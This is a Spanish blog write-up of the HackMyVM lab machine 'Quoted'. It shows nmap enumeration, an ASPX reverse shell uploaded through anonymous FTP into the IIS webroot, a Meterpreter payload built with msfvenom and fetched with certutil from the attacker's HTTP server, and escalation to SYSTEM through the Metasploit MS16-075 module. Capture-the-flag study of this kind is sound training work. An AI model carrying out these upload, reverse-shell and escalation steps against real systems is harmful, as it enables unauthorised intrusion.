cd ~/blog

~/writeups/hmv/133-quoted.md

133 - Quoted

easy Windows hmvautor: Jordy Pérez Osorio aviso legal
Arbitrary File Write mediante Anonymous FTPUnrestricted File Upload de ASPXMS16-075 Reflection Juicy Privilege Escalation
hackmyvm.eu/machines/machine.php?vm=Quoted

~1 min de lectura


Enumeración de servicios

Enumeramos puertos. Además de IIS y FTP, el host expone SMB e identifica el sistema como Windows 7 SP1:

❯ nmap -sCV -p 21,80,135,139,445,5357,49152,49153,49154,49155,49156,49157 -oN 02-targeted.txt 192.168.1.10
...
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ...                  iisstart.htm
80/tcp    open  http         Microsoft IIS httpd 7.5
445/tcp   open  microsoft-ds Windows 7 Professional 7601 SP1
...
Service Info: Host: QUOTED-PC; OS: Windows; ...

Acceso inicial mediante Anonymous FTP

El listado de FTP anónimo contiene los mismos archivos que la página predeterminada de IIS, lo que indica que ambos servicios comparten el webroot. Confirmamos la escritura arbitraria subiendo un archivo de prueba y verificándolo en el listado. Después cargamos una reverse shell ASPX. Como IIS sirve y procesa ese formato, la escritura en el webroot se convierte en ejecución remota de código al solicitar el archivo por HTTP:

ftp> put file.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
10-05-24  12:16PM       <DIR>          aspnet_client
07-29-25  02:41AM                    0 file.txt
10-05-24  12:27AM                  689 iisstart.htm
10-05-24  12:27AM               184946 welcome.png

ftp> put pwned.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
15958 bytes sent in 0,0001 seconds (119,4385 Mbytes/s)

La ejecutamos visitando http://192.168.1.10/pwned.aspx:

❯ rlwrap ncat -nlvp 1234
Ncat: Connection from 192.168.1.10:49160.
Spawn Shell...
Microsoft Windows [Sürüm 6.1.7601]
c:\windows\system32\inetsrv>

El prompt sitúa la shell en el proceso de IIS y permite obtener la flag de usuario, pero todavía no demuestra privilegios de SYSTEM. Para preparar la escalada generamos un Meterpreter con msfvenom y lo transferimos con certutil. Lo guardamos fuera de c:\inetpub\wwwroot, porque en este escenario los binarios no se pueden ejecutar desde ese directorio:

❯ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4321 -f exe -o reverse.exe
❯ python3 -m http.server

c:\Users\quoted\Desktop>certutil.exe -f -urlcache -split http://192.168.1.5:8000/reverse.exe reverse.exe

Montamos el handler con migración automática y ejecutamos reverse.exe en la víctima. La migración mueve la sesión a otro proceso para reducir la dependencia del binario inicial; no eleva privilegios por sí misma:

msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 4321
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(multi/handler) > run

c:\Users\quoted\Desktop>reverse.exe

Escalada de privilegios mediante MS16-075

Tras recibir la sesión, local_exploit_suggester señala MS16-075 Reflection Juicy como aplicable. Esta técnica corresponde a CVE-2016-3225. Ejecutamos el módulo contra la sesión existente y comprobamos la identidad obtenida:

msf6 post(multi/recon/local_exploit_suggester) > run
...
 15  exploit/windows/local/ms16_075_reflection_juicy  Yes  The target appears to be vulnerable.
...

msf6 exploit(windows/local/ms16_075_reflection_juicy) > set session 1
msf6 exploit(windows/local/ms16_075_reflection_juicy) > run
...
[+] Target appears to be vulnerable (Windows 7 Service Pack 1)
[*] Meterpreter session 4 opened ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM confirma que la nueva sesión posee la identidad de mayor privilegio local en Windows.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados